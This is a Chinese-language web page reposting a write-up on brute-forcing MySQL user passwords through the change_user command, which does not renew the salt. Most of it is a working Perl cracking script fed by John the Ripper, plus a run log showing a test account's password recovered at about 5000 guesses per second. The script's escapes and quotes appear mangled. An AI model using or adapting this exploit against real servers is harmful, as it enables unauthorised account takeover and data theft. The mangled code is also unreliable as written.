您好,欢迎访问一九零五行业门户网

快速的 MySQL 本地和远程密码破解_MySQL

bitscn.com
快速的 mysql 本地和远程密码破解!首先需要对数据库维护人员说明的是,不必紧张,你无需修补这个问题,看起来其实是个小错误而已。
我找到一个方法可非常高效的破解 mysql 的用户密码,包括本地用户和通过网络方式访问的用户密码。在我的测试中,通过网络方式的方法可每秒钟测试 5000 个密码。
方法如下:
攻击者使用一个无特权帐号登录到 mysql 服务器,mysql 有一个名为 change_user 的命令,该命令可用于在 mysql 会话中修改用户时的名字建议。因为这个命令执行非常快,因此可以很快速的用来破解 mysql 密码,而不是每次都重新连接到 mysql 服务器。
是什么导致非常慢?
因为使用 change_user 命令不会更改 salt(这是一个弱点),而常规破解密码的方法每次连接时服务器都发送不同的 salt。
下面是一个 perl 脚本使用了 john the ripper 的方法来生成密码:
测试的用户是 crackme 密码为 pass,只需数秒就可破解。
(大约 20 秒钟可测试 10 万密码)
测试脚本如下:
01 use net::mysql; 02   03 $|=1; 04   05 my $mysql = net::mysql->new( 06  hostname => '192.168.2.3', 07  database => 'test', 08  user     => user, 09  password => secret, 10  debug => 0, 11 ); 12   13 $crackuser = crackme; 14   15 while() { 16 chomp; 17 $currentpass = $_; 18   19 $vv = join /0, 20         $crackuser, 21         /x14. 22         net::mysql::password->scramble( 23             $currentpass, $mysql->{salt}, $mysql->{client_capabilities} 24         ) . /0; 25 if ($mysql->_execute_command(/x11, $vv) ne undef) { 26     print [*] cracked! --> $currentpass/n; 27     exit; 28 } 29 } 下面是我这台机器上的执行结果:
c:/users/kingcope/desktop>c:/users/kingcope/desktop/john179/run/jo
hn --incremental --stdout=5 | perl mysqlcrack.pl 
warning: maxlen = 8 is too large for the current hash type, reduced to 5 
words: 16382  time: 0:00:00:02  w/s: 6262  current: citch 
words: 24573  time: 0:00:00:04  w/s: 4916  current: rap 
words: 40956  time: 0:00:00:07  w/s: 5498  current: matc3 
words: 49147  time: 0:00:00:09  w/s: 5030  current: 4429 
words: 65530  time: 0:00:00:12  w/s: 5354  current: ch141 
words: 73721  time: 0:00:00:14  w/s: 5021  current: v3n 
words: 90104  time: 0:00:00:17  w/s: 5277  current: pun2 
[*] cracked! --> pass 
words: 98295  time: 0:00:00:18  w/s: 5434  current: 43gs
session aborted
祝你好运:)
via grok
bitscn.com
其它类似信息

推荐信息